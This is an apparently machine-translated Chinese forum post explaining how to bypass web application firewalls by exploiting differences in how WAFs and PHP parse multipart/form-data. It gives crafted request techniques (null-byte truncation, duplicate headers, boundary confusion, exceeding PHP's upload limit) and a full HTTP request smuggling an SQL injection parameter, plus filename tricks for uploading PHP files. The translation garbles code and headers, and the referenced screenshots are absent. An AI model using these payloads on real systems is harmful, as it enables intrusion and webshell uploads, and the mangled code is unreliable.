H

WAF Bypass

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

WAF Bypass​

本文中介绍的想法主要关注邮政参数的Multipart/form-data。
Multipart/form-data是在上传方案中解决大型文件内容和无法控制的内置字符的问题。在原始的HTTP协议中,上传文件没有功能。 RFC1867将此功能添加到HTTP协议中。常见的浏览器已经得到支持。根据此规范,用户指定的文件发送到服务器,并且可以根据此规范对用户发送的文件进行解析。
HTTP传输的内容通过边界分开,从边界和结尾,以- 边界为结尾。
Multipart/form-data格式还可以传递POST参数。对于NGINX + PHP体系结构,NGINX实际上对解析Multipart/form-data的身体部分不负责,而是将其移交给PHP进行解析。因此,WAF获得的内容可能与后端PHP不一致。
用一个简单的脚本验证上述语句。
1
2
3
4
5
6
7
8
9
php
echo file_get_contents('php: //输入');
回声'$ _ post content \ n';
回声'';
var_dump($ _ post);
回声'$ _files content \ n';
回声'';
var_dump($ _文件);

在正常情况下,使用多部分/form-data柱传输参数f,其值为1:
202203041521288.png-water_print

如上所述,Multipart/form-data用于解决传输文件的问题。那么上传文件的情况如何?什么是帖子参数?关键点是是否有一个完整的文件名=,这9个字符是必不可少的。添加了FILENAME=以后的回声:
202203041524972.png-water_print

由于某些WAF产品与用户上传的文件的内容不匹配,因此它们将直接发布。因此,关键问题是WAF是否可以准确有效地确定哪些内容传递给了帖子数组,哪些内容传递给了文件数组?如果不是这样,那么您可以找到一种使WAF认为我们上传文件的方法,但实际上我们是发布参数。此参数可以是任意攻击,例如命令注入,SQL注入,SSRF等,从而实现通用WAF旁路。

Bypass 思路 - 初级​

0x00 截断​

0x00(%00 URL解码)在文件名之前添加。某些WAF在检测前将在HTTP协议中过滤0x00,这导致WAF被视为包含文件名的普通上传,而后端PHP被视为后参数。
202203041534841.png-water_print

文件描述双写混淆​

双重含量分解,一些WAF将获得第二行,而实际的PHP将获得第一行。
202203041535090.png-water_print

此外,用于内容分解的双写掺杂还可以包括content-type:
202203041539002.png-water_print

但是,此方法将在F变量中添加一些垃圾数据,并且在注射时需要关闭。

multipart 混淆​

通过构建新的多部分部分,两个部分传递的参数名称是相同的,实现了混淆的目的。
带有垃圾邮件数据的故事
202203041542734.png-water_print

没有垃圾数据
202203041542675.png-water_print

Boundary 混淆​

构造双重 boundary​

202203041548446.png-water_print

在PHP中,仅识别a仅识别a,也就是说,真实边界是a。如果WAF中识别的边界为B,则将第13至18行作为文件pic.png的内容传输,以实现混淆的目的。

构造双重 Content-Type​

这种混淆方法与以前的情况相似,只是内容类型被混淆并指定了不同的边界。
202203041551351.png-water_print

空白 boundary​

202203041557946.png-water_print

在PHP中,仅识别边界=null。如果WAF被错误地识别为边界,则将第13至18行作为文件pic.png的内容传输,以实现混淆的目的。

空格 boundary​

相同的边界也可以是空间
202203041601212.png-water_print

boundary 中的逗号​

202203041608384.png-water_print

实际上,在PHP中,边界中的逗号将用作分离器,即边界遇到逗号时结束。
也可以仅识别一个逗号:
202203041609039.png-water_print

Bypass 思路 - 进阶​

0x00 截断进阶​

202203041625935.png-water_print

202203041641335.png-water_print

202203041642723.png-water_print

这三个位置都可以。用0x00和0x20替换为相同。
此外,在参数名称中将0x00放置也可以绕过:
202203041649598.png-water_print

Boundary 混淆进阶​

可以在之前和之后使用任何内容添加边界名称。如果严格按下WAF来获得它,那将会感到困惑。
202203041654246.png-water_print

在双层内容类型的混淆中,第一个内容类型和结肠部分充满了绕过的空间。
202203041701548.png-water_print

边界价值混乱:
202203041703089.png-water_print

单双引号混合​

内容插词中的字段使用单引号和双引号混淆
202203041705980.png-water_print

urlencoded 与 multipart 混淆​

在内容类型标头中,它们指定为:urlencoded and Multipart。实际上,PHP认识到的是Urlencodod的。如果WAF所识别的是多部分,则可以绕过检测。通过作为参数分离器,参数sqlionptionparam的前部和后部被截获,并且保留参数完整。
由于未介绍了Multipart/form-data下的内容,因此某些WAF是通过这种方式设计的,因此这样做没有问题。但是,如果它以URLENCODED格式为内容,则不会在不解码的情况下引入诸如%0A之类的字符。这样的字符可以被保护规则直接绕过而无需解码,从而绕过。
202203041713226.png-water_print

Bypass 思路 - 高级​

本章通过组合PHP源代码讨论了WAF旁路的可能性。

skip_upload - 1​

在PHP源代码中,处理Multipart时有这样的代码:
202203051556856.png-water_print

其中的参数为name='f'。当程序进入C 0分支时,将跳过当前部件的上传过程。由于c=0初始化时,遇到[遇到时c-=1时c +=1]。因此,您可以构造名称='f]',因此C=-1。
202203051601257.png-water_print

skip_upload - 2​

在PHP源代码中,有这样的代码:
202203051608783.png-water_print

当文件上传数量超过最大值时,将跳过当前部分文件的处理。在PHP 5.2.12及更高版本中,有一个隐藏的文件上传限制,该限制不是PHP.Ini(是Max_file_uploads的设置)。默认值为20。在PHP 5.2.17中,该值不再隐藏。默认情况下,最大文件上传限制设置为20,因此一次上传的最大文件数为20个文档,因此,如果您超过20个文档,则会报告错误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
post /waf.php http /1.1
ACCEPT: /
HOST: LOCALHOST:8081
Accept-incoding: Gzip,放气
连接:关闭
content-type:多部分/form-data;边界=a
内容长度: 2030
- 一个
content-disposition: form-data;名称='1';文件名='pic.png'
content-type:图像/png
1
- 一个
content-disposition: form-data;名称='2';文件名='pic.png'
content-type:图像/png
2
- 一个
content-disposition: form-data;名称='3';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='4';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='5';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='6';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='7';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='8';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='9';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='10';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='11';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='12';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='13';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='14';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='15';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='16';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='17';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='18';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='19';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='id';文件名='pic.png'
content-type:图像/png
3
- 一个
content-disposition: form-data;名称='id';
SQL注入!
- 一个-
202203051615512.png-water_print

关于文件扩展名的绕过​

上一篇文章主要提出了由源站和WAF分析多部分的差异引起的一些旁路。在实际的渗透测试中,如何绕过文件扩展名是一个非常重要的点,因此本节主要介绍如何从协议中绕过文件扩展名并在WAF解析到文件名参数时从协议和后端解析级别进行绕过。
总体想法是:filename='file_name.php'。对于WAF级别,发现扩展是PHP,然后进行截距。旁路是通过没有PHP关键字的WAF将文件名解析,而后端程序将在验证扩展程序时将其视为PHP文件。
从解析各种程序的代码来看,为了解决WAF解析问题,干扰字符不仅是引号,空格,逃生字符,上面提到的逃生字符,还有:在这里,它仍然分为两种形式的测试。
未引用的包装表格
1
2
3
4
5
6
7
8
9
10
11
content-disposition: form-data; name=key3;文件名=file_name:php
content-disposition: form-data; name=key3;文件名=file_name'.php
content-disposition: form-data; name=key3;文件名=file_name'.php
content-disposition: form-data; name=key3;文件名=file_name \'。php
content-disposition: form-data; name=key3;文件名=file_name.php
content-disposition: form-data; name=key3;文件名=file_name;php
前五个情况烧瓶/
 
后退
顶部